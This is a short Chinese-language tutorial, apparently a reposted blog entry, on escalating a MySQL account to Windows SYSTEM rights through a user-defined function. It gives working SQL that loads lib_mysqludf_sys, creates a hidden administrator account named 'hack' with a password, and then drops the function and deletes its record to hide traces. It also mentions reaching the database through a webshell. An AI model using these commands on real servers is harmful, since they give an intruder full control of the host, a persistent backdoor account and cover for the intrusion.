mysql提权

0x01 原理

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
利用条件
Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的libplugin文件夹下。
Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:windowssystem32,在windows2000下放置于c:winntsystem32。
掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
可以将udf.dll写入到相应目录的权限。
dll链接

进行查看,这个目录也就是dll文件需要导入的目录,我们在拿到webshell后翻到数据库连接信息,蚁剑连接

0x02 前提条件

关于plugin目录,可在mysql中执行

show variables like '%plugin%';

如果是远程的mysql并且有写入权限的话 (用@@secure_file_priv查看)只要返回不是NULL就有写权限,可以在my.ini加入secure_file_priv= 开启

在5.1以上lib下面没有plugin目录所以要我们手工创建

0x03 利用方式

将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误

创建自定义函数
create function sys_eval returns string soname 'lib_mysqludf_sys_32.dll';
select sys_eval('net user hack yicunyiye123.. /add');
select sys_eval('net localgroup administrators hack /add');
drop function sys_eval; 删除函数
delete from mysql.func where name='sys_eval';  删除函数

1.创建函数

2.添加账户

3.添加至管理员组

4.删除函数

5.查看用户

原文地址:https://www.cnblogs.com/yicunyiye/p/13927896.html